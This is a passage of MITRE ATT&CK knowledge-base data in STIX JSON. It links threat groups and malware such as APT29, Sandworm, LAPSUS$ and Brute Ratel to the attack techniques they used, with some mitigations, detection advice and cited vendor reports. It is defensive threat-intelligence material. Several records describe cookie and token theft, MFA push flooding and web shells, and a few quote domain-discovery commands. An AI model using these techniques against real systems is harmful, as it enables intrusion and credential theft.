"x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--952412b3-a7b1-402c-a92e-96830df4d14b", "type": "relationship", "created": "2020-06-22T14:58:06.602Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Skidmap", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", "description": "Remillano, A., Urbanec, J. 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Retrieved June 4, 2020."}], "modified": "2020-06-25T13:32:00.205Z", "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to download, unpack, and decrypt tar.gz files .(Citation: Trend Micro Skidmap) ", "relationship_type": "uses", "source_ref": "malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9528abfe-4897-4171-8e01-a0ceeb376a9a", "type": "relationship", "created": "2020-11-25T21:00:55.820Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. 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Retrieved November 25, 2020."}], "modified": "2021-01-06T21:30:47.793Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used dedicated network connections from one victim organization to gain unauthorized access to a separate organization.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9529dc44-9a72-49b7-bfea-713356b0f55a", "type": "relationship", "created": "2020-02-11T18:38:22.699Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:38:22.699Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--952ec6aa-f5dd-494d-91ea-b3804b843c35", "created": "2022-10-19T16:35:51.784Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T16:35:51.784Z", "description": "Use application control where appropriate, especially regarding the execution of tools outside of the organization's security policies (such as rootkit removal tools) that have been abused to impair system defenses. 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Retrieved December 18, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/", "source_name": "Crowdstrike Helix Kitten Nov 2018"}], "modified": "2020-03-17T14:52:21.694Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has delivered malicious links to achieve execution on the target system.(Citation: Unit 42 OopsIE! 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Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-07T18:30:12.418Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) attempted to gain access by continuously sending MFA messages to the victim until they accept the MFA push challenge.(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "relationship_type": "uses", "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "target_ref": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--953091ba-9d00-41ba-8727-014f6d11b5d3", "type": "relationship", "created": "2021-10-01T21:53:33.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. 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Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:02.241Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can harvest cookies from Internet Explorer, Edge, Chrome, and Naver Whale browsers.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", "source_name": "Symantec Sowbug Nov 2017"}], "modified": "2020-03-30T02:46:16.666Z", "description": "[Sowbug](https://attack.mitre.org/groups/G0054) extracted documents and bundled them into a RAR archive.(Citation: Symantec Sowbug Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95313794-3eae-4cc3-89aa-4ad0d6d65572", "type": "relationship", "created": "2019-11-07T20:00:26.301Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SensePost Outlook Forms", "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."}, {"source_name": "SensePost Outlook Home Page", "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."}], "modified": "2021-10-15T20:18:30.869Z", "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. 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(2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-12-01T18:55:31.016Z", "description": "[Chrommme](https://attack.mitre.org/software/S0667) has the ability to capture screenshots.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--579607c2-d046-40df-99ab-beb479c37a2a", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95373c46-d959-465a-9ac1-d1d5271805f2", "created": "2024-02-13T17:53:37.006Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T16:12:21.142Z", "description": "[RAPIDPULSE](https://attack.mitre.org/software/S1113) is a web shell that is capable of arbitrary file read on targeted web servers to exfiltrate items of interest on the victim device.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "malware--880f7b3e-ad27-4158-8b03-d44c9357950b", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95415ffd-265d-448f-bb39-73c7721d5c42", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft BITSAdmin", "description": "Microsoft. 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Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T19:02:56.396Z", "description": "(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9548ed41-931a-4d95-8256-b3fcad5914ad", "type": "relationship", "created": "2021-12-01T18:01:54.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-12-01T18:01:54.383Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can download additional plug-ins to a compromised host.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--954961e4-0bf5-496e-b200-e63d99c006de", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "source_name": "Crowdstrike DNC June 2016"}, {"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. 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Retrieved May 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has obtained passwords and session tokens with the use of the Redline password stealer.(Citation: MSTIC DEV-0537 Mar 2022)", "modified": "2022-06-10T12:35:36.942Z", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95618672-6f7f-4055-9c96-29f75e276d5b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Cobalt Group July 2018", "description": "Svajcer, V. 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Retrieved September 20, 2021."}], "modified": "2021-09-21T14:51:42.148Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails with URLs pointing to malicious documents.(Citation: Talos Cobalt Group July 2018)(Citation: Secureworks GOLD KINGSWOOD September 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--956303a4-558c-433d-bc2f-28a7e69192ae", "type": "relationship", "created": "2017-05-31T21:33:27.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "source_name": "Baumgartner Naikon 2015"}], "modified": "2019-04-10T15:59:09.304Z", "description": "(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9567076b-2a77-43e4-befd-19556def9d47", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "sus mofcomp", "description": "detection.fyi. (2023, October 28). Potential Suspicious Mofcomp Execution. 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", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9569bfcd-38f8-4cb7-8470-a473ea9e4328", "created": "2020-05-08T17:01:36.095Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.222Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has used compromised credentials to log on to other systems and escalate privileges.(Citation: Group IB Silence Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95747003-2c4a-4e4a-ad9d-fde75f04f406", "type": "relationship", "created": "2021-01-22T13:48:21.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T13:50:37.433Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>net localgroup administrators</code> to identify  accounts with local administrative rights.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--957e1f09-4474-4c22-a7fd-7d70d3be61ff", "created": "2019-06-05T17:31:22.434Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Ursnif Mar 2015", "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. 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(2018, March 27). You dirty RAT! Part 1: DarkComet. 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(2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-01-14T20:08:49.580Z", "description": "[BlackMould](https://attack.mitre.org/software/S0564) has the ability to find files on the targeted system.(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95805281-96b1-49ea-95ee-9d654178c5c3", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). 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(2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. 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Retrieved November 22, 2017.", "source_name": "Microsoft Protected View"}], "modified": "2022-02-22T13:22:30.435Z", "description": "Ensure Protected View is enabled.(Citation: Microsoft Protected View)", "relationship_type": "mitigates", "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--95976fa3-b0ae-463a-a00b-d5a0b6068d63", "created": "2022-04-14T15:42:08.116Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Periodically baseline snapshots to identify malicious modifications or additions.", "modified": "2022-04-14T15:42:08.116Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774", "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--959882ec-644b-4d10-b75f-aeda438c251f", "created": "2022-03-30T14:26:51.851Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. 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Retrieved February 6, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-08T18:39:56.175Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use LDAP queries, `net group \"Domain Admins\" /domain` and `net user /domain` for discovery.(Citation: Palo Alto Brute Ratel July 2022)(Citation: Trend Micro Black Basta October 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Kasidet", "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. 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(2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."}, {"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}], "modified": "2020-12-21T18:29:38.980Z", "description": "(Citation: FireEye MESSAGETAP October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--95a8788a-b36c-4234-94bc-951eb1f72cce", "created": "2022-07-08T14:00:19.709Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can specify the local file path to upload files from.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-07-25T16:17:05.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95ac6b41-2594-48a0-8437-c7d93111ed66", "created": "2022-06-09T15:02:16.924Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T20:31:11.372Z", "description": "[MacMa](https://attack.mitre.org/software/S1016) has the capability to create and modify file timestamps.(Citation: ESET DazzleSpy Jan 2022)", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95add276-6a4d-4281-82e5-7857b615742b", "created": "2023-03-26T20:46:54.907Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:46:54.907Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) stole Chrome browser cookies by copying the Chrome profile directories of targeted users.(Citation: CrowdStrike StellarParticle January 2022)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95b0d9c3-e905-468c-8498-6550f2130826", "type": "relationship", "created": "2021-01-11T21:20:36.311Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 NETWIRE April 2020", "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}], "modified": "2021-01-11T21:20:36.312Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious links.(Citation: Unit 42 NETWIRE April 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95b2f18d-b886-4364-90ef-1dbba9a2bff1", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Monitor files (especially those downloaded from untrusted locations) for MOTW attributes. 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(2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T20:43:25.146Z", "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has encrypted the payload used for C2.(Citation: Symantec Whitefly March 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": 